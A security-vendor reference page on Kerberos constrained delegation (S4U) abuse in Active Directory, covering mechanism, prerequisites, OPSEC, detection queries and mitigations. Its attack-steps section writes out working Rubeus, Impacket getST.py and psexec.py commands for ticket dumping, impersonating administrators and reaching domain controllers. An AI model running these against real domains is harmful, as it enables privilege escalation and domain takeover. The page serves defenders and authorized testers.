1. Resources
  2. Identity Threats
  3. Active Directory

Constrained Delegation (S4U2Self / S4U2Proxy) Abuse

Also known as: Kerberos constrained delegation abuse, KCD abuse, S4U abuse, AllowedToDelegate, Protocol transition abuse

An attacker with the key of an account configured for constrained delegation uses S4U to get service tickets as any delegable user, including administrators, to the services on its list.

Platform
Active Directory
Impact
High
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Specific rights or roles
The password, NT hash, AES key or TGT of a user, computer or gMSA account that has a populated msDS-AllowedToDelegateTo list.
What the attacker gains
Service tickets in the name of any delegable user to the listed services, and to every other service that runs under the same target account. On a domain controller, control of the domain.
Threat groups
APT29APT32BRONZE BUTLERAkiraHAFNIUMLazarus GroupNIMBUS MANTICOREScattered SpiderTeamPCPVOID MANTICOREGroups that MITRE ATT&CK records using T1550.003, T1558, T1098.

How it works

Constrained delegation lets a service act for its users toward a fixed set of back-end services. It is configured on the delegating account, which can be a user, a computer or a group managed service account:

Setting Where Meaning
msDS-AllowedToDelegateTo Attribute of the delegating account The list of target SPNs the account may delegate to
TRUSTED_TO_AUTH_FOR_DELEGATION userAccountControl bit 0x1000000 Protocol transition: "Use any authentication protocol"

Two Kerberos extensions (MS-SFU) do the work.

S4U2Self. The service asks the domain controller for a service ticket to itself in the name of a user it specifies. The user takes no part. If the service account has the protocol transition flag, the returned ticket is marked forwardable. Without the flag it is not.

S4U2Proxy. The service presents a ticket that a user holds for it (the evidence ticket) and asks for a ticket to a back-end service in that user's name. The domain controller checks two things: the requested SPN is in the account's msDS-AllowedToDelegateTo list, and the evidence ticket is forwardable. If both hold, it returns a service ticket for the back-end whose client is the user.

Nothing in this exchange proves that the user is present. The only secret involved is the delegating account's key. Whoever holds that key can run both steps and receive a ticket as any user who can be delegated.

This gives the two modes of the attack:

Mode Configuration What the attacker needs
Protocol transition List populated, flag set The delegating account's key. S4U2Self produces a forwardable ticket for any user, S4U2Proxy turns it into access
Kerberos only List populated, flag clear The key, and a forwardable service ticket that a real user requested for the delegating service, taken from the service host

Service class substitution

The service name in a Kerberos ticket sits outside the encrypted part. The ticket is encrypted with the key of the account that owns the SPN, and Windows services normally do not check that the name matches their own SPN. A ticket issued for ldap/DC01 can therefore be rewritten to cifs/DC01 or host/DC01 and is accepted, because all of these run under the DC01$ key.

The consequence: delegation to one service on a host is delegation to every service of that account. The rewrite cannot move a ticket to a different host, because that host has a different key.

What blocks it

  • Users in Protected Users, and accounts marked "Account is sensitive and cannot be delegated", cannot be impersonated: the S4U2Self ticket for them is not forwardable and S4U2Proxy fails with KDC_ERR_BADOPTION.
  • A target SPN outside the list is refused with the same error.
  • List-based constrained delegation works inside one domain. The cross-domain form is resource-based constrained delegation, which is configured on the target instead.

Two related attacks start from the same configuration: Bronze Bit, which forged the forwardable flag on unpatched domain controllers, and SPN-jacking, which moves a listed SPN to another account.

Prerequisites

  • A delegating account with a populated msDS-AllowedToDelegateTo, and its key in some form:
    • User service account: the password, NT hash or AES key, often obtained by Kerberoasting because such accounts have an SPN.
    • Computer account: SYSTEM on the host, which gives the machine account's keys and TGT.
    • gMSA: control of a host allowed to retrieve the managed password, or a principal that may read it.
  • For the one-step path: the protocol transition flag on that account.
  • For Kerberos only: a forwardable service ticket from the user to be impersonated, addressed to the delegating service.
  • A user to impersonate who is delegable and has rights on the target service.
  • Network access to a domain controller (Kerberos, TCP 88) and to the target service.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find delegating accounts and their targets

Any domain user can read these attributes:

# ActiveDirectory module: every account with a delegation list, and whether protocol transition is on
Get-ADObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' `
  -Properties sAMAccountName, objectClass, msDS-AllowedToDelegateTo, userAccountControl |
  Select-Object sAMAccountName,
    @{n='ProtocolTransition'; e={[bool]($_.userAccountControl -band 0x1000000)}},
    @{n='AllowedTo'; e={$_.'msDS-AllowedToDelegateTo' -join '; '}}

# PowerView
Get-DomainUser -TrustedToAuth -Properties samaccountname, msds-allowedtodelegateto, useraccountcontrol
Get-DomainComputer -TrustedToAuth -Properties name, msds-allowedtodelegateto, useraccountcontrol
findDelegation.py 'corp.example.com/alice:Passw0rd!' -dc-ip 192.0.2.10

PowerView's -TrustedToAuth returns every account with a list, with or without protocol transition, so read the flag separately. BloodHound shows the relationship as the AllowedToDelegate edge. Then find out which account owns each listed SPN; a list that names a domain controller is the most serious case:

setspn -Q cifs/SRV01.corp.example.com

2. Get the delegating account's key or TGT

With a known password, derive the keys:

.\Rubeus.exe hash /domain:corp.example.com /user:svc-web /password:"S3rvice-Passw0rd!"

For a computer account, run as SYSTEM on the host and export its TGT:

.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap

3. Protocol transition: one command

Rubeus requests a TGT for the delegating account, performs S4U2Self for the chosen user and S4U2Proxy to the listed SPN, and loads the result into the current session:

.\Rubeus.exe s4u /user:svc-web /aes256:<AES256 key of svc-web> `
  /domain:corp.example.com /dc:DC01.corp.example.com `
  /impersonateuser:administrator `
  /msdsspn:cifs/SRV01.corp.example.com `
  /ptt

Use /rc4:<NT hash> instead of /aes256: where RC4 is still accepted, or /ticket: with an exported TGT. Impacket does the same from Linux and saves a ccache file:

getST.py -spn cifs/SRV01.corp.example.com -impersonate administrator \
  -dc-ip 192.0.2.10 -aesKey <AES256 key of svc-web> 'corp.example.com/svc-web'

getST.py -spn cifs/SRV01.corp.example.com -impersonate administrator \
  -dc-ip 192.0.2.10 -hashes :<NT hash of svc-web> 'corp.example.com/svc-web'

4. Change the service class

When the list names a service that is not useful directly, rewrite the service class after the ticket is issued. Here the list contains ldap/DC01.corp.example.com and the attacker wants file access to the domain controller:

.\Rubeus.exe s4u /user:svc-web /aes256:<AES256 key of svc-web> `
  /domain:corp.example.com /dc:DC01.corp.example.com `
  /impersonateuser:administrator `
  /msdsspn:ldap/DC01.corp.example.com `
  /altservice:cifs `
  /ptt
getST.py -spn ldap/DC01.corp.example.com -altservice cifs \
  -impersonate administrator -dc-ip 192.0.2.10 \
  -aesKey <AES256 key of svc-web> 'corp.example.com/svc-web'

/altservice accepts a comma-separated list, for example cifs,host,http. The domain controller only ever sees and authorizes the listed SPN.

5. Kerberos only: supply a real evidence ticket

Without protocol transition the S4U2Self ticket is not forwardable, and the one-step commands fail with KDC_ERR_BADOPTION. The attacker needs a forwardable service ticket that a user obtained for the delegating service. Such tickets sit in the ticket cache of the host that runs the service whenever users connect to it. Export one, then use it as the evidence ticket:

# On the service host: list and export tickets users presented to the service
.\Rubeus.exe triage
.\Rubeus.exe dump /service:http /nowrap

# S4U2Proxy only, with the captured ticket as evidence
.\Rubeus.exe s4u /ticket:svc-web-tgt.kirbi /tgs:user-to-svc-web.kirbi `
  /msdsspn:cifs/SRV01.corp.example.com /altservice:host /ptt
export KRB5CCNAME=$PWD/svc-web.ccache
getST.py -spn cifs/SRV01.corp.example.com -impersonate administrator \
  -additional-ticket user-to-svc-web.ccache \
  -dc-ip 192.0.2.10 -k -no-pass 'corp.example.com/svc-web'

The evidence ticket must be for the delegating service, forwardable, still valid, and belong to the user being impersonated.

6. Use the ticket

klist
dir \\SRV01.corp.example.com\C$
export KRB5CCNAME=$PWD/<ccache file saved by getST.py>
psexec.py -k -no-pass 'corp.example.com/administrator@SRV01.corp.example.com'

getST.py prints the name of the ccache file it saved. Access succeeds to the extent that the impersonated user has rights on the target: the ticket carries that user's groups, not the service account's.

Impact

The holder of the delegating account's key can be any delegable user toward the listed targets. With service class substitution that means administrator access to each target host: file shares, remote service control, WMI, LDAP. If a target is a domain controller, an administrator ticket for it is domain compromise, for example through replication of all credentials.

The configuration turns a service account into a standing privilege. It is the reason a web server's service account with a weak password can end in control of other servers, and it remains in place through password changes of every user who is impersonated. An attacker with the "Enable computer and user accounts to be trusted for delegation" right can also add a list to an account they control, which makes delegation a persistence mechanism.

OPSEC and artifacts

  • Using an existing delegation. Abusing a list that is already there changes nothing in the directory, so no change event is written. The S4U requests themselves are logged: event 4769 on the domain controller, once for S4U2Self (the service requesting a ticket to itself) and once for S4U2Proxy, the second with the Transited Services field filled.
  • Matching encryption types. Requesting the TGT with the AES key avoids an RC4 pre-authentication where the account normally uses AES. The 4768 for the service account still comes from the attacker's host, which is usually not the host that runs the service.
  • Impersonating a plausible user. A ticket in the name of an account that normally uses the back-end attracts less attention than the built-in Administrator. On the target, event 4624 records a network logon for the impersonated user, with the Transited Services field filled, and event 4672 follows when that user is privileged.
  • Service class substitution is invisible to the domain controller. It happens on the attacker's side after issuance. The domain controller logs the listed service; the target sees a connection to a different one.
  • Failed attempts. A wrong SPN, a non-forwardable evidence ticket or a protected user produces 4769 failures with code 0xD.
  • Adding a delegation. Writing the list or the flag is recorded in event 4738 or 4742, which show the new AllowedToDelegateTo value, and in event 5136 where a SACL covers the attribute.
  • Tooling. Rubeus or Mimikatz running on a Windows host, ticket files on disk, and tickets injected into a logon session.

Detection

  • Changes to delegation. A new value in msDS-AllowedToDelegateTo, or the protocol transition flag being set, above all when the new target is a domain controller. The constrained delegation modified rules read 5136, 4738 and 4742 for this. The delegation user right rules cover the right needed to configure it.
  • S4U tickets to sensitive targets. A 4769 with Transited Services filled where the service is a domain controller or Tier 0 server.
  • New delegation pairs. Baseline which delegating accounts request tickets, for which services, from which hosts. A request from a host that does not run the service, or for a user who never uses the application, stands out.
  • Privileged logons through delegation. A 4624 on a server with Transited Services filled and a Tier 0 account as the user.
  • Bursts of 0xD failures for a delegating account.
  • The precursor. Roasting of the delegating account; see the Kerberoasting rules. Removal of delegation protection from a privileged account is covered by the protected account safeguard rules.
// Constrained delegation tickets issued for services on domain controllers
let DomainControllers = dynamic(["DC01$", "DC02$"]);
SecurityEvent
| where EventID == 4769 and Status == "0x0"
| where isnotempty(TransmittedServices) and TransmittedServices != "-"
| where ServiceName in~ (DomainControllers)
| project TimeGenerated, Computer, TargetUserName, ServiceName, TransmittedServices,
          IpAddress, TicketEncryptionType
| order by TimeGenerated desc

ServiceName is the account that owns the requested service, not the full SPN. Approved applications produce the same events, so the field being filled is not an alert by itself; the pair of delegating account and target is what to judge.

Mitigation

  • Never delegate to services on domain controllers. Any SPN of a domain controller in a delegation list exposes the whole domain controller through service class substitution.
  • Remove delegation that is no longer used. Clear stale values from msDS-AllowedToDelegateTo and keep an inventory with an owner for each remaining entry.
  • Turn off protocol transition unless the application really signs users in without Kerberos. In "Kerberos only" mode the attacker needs a real user ticket in addition to the account key.
  • Make privileged users non-delegable. Add Tier 0 users to Protected Users or set "Account is sensitive and cannot be delegated". The Protected Users guide covers the rollout.
  • Protect the delegating account like the targets it can reach. Use a group managed service account (gMSA guide) or a long random password so the key cannot be roasted, and limit who is administrator on the host that runs the service. See how to secure Active Directory service accounts.
  • Restrict who can configure delegation. The "Enable computer and user accounts to be trusted for delegation" right on domain controllers should belong to Administrators only, and write access to delegation attributes of service accounts should be reviewed.
  • Keep domain controllers patched so that forged forwardable flags are rejected, and restrict who can write servicePrincipalName on computers. The Kerberos hardening guide covers the wider settings.
  • When responding, remove the delegation entry, reset the delegating account's password or machine account password, review the hosts that ran the service, and treat tickets already issued as valid until they expire. If a domain controller service was a target and a Tier 0 user was impersonated, handle it as a domain compromise.

Detection rules for this attack

Log events to collect

FAQ

What is constrained delegation?

It is a Kerberos setting that lets a service obtain tickets on behalf of its users, but only to the services named in its msDS-AllowedToDelegateTo attribute. It replaced unconstrained delegation, where the service received the user's whole TGT. The service account itself asks the domain controller for the tickets, using the S4U2Self and S4U2Proxy extensions.

Why is constrained delegation dangerous if the target list is limited?

Two reasons. With protocol transition enabled, the service account can name any user it likes, without that user ever signing in, so whoever holds the account's key can impersonate an administrator. And the service class in a ticket is not protected: a ticket for ldap on a host can be rewritten to cifs or host on the same host, so the whole computer is exposed, not one service.

What is the difference between protocol transition and Kerberos only?

With protocol transition (the TRUSTED_TO_AUTH_FOR_DELEGATION flag), the domain controller issues a forwardable ticket for any user the service names, and the attack needs nothing but the service account's key. With Kerberos only, the service must present a forwardable service ticket that the user really requested, so the attacker also has to capture such a ticket.

How do you detect S4U abuse?

On domain controllers, event 4769 has a Transited Services field that is filled only for constrained delegation requests. Baseline which service accounts legitimately delegate and to what, and alert on new pairs, on targets that are domain controllers and on privileged users. On the target, event 4624 carries the same field for the resulting logon.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.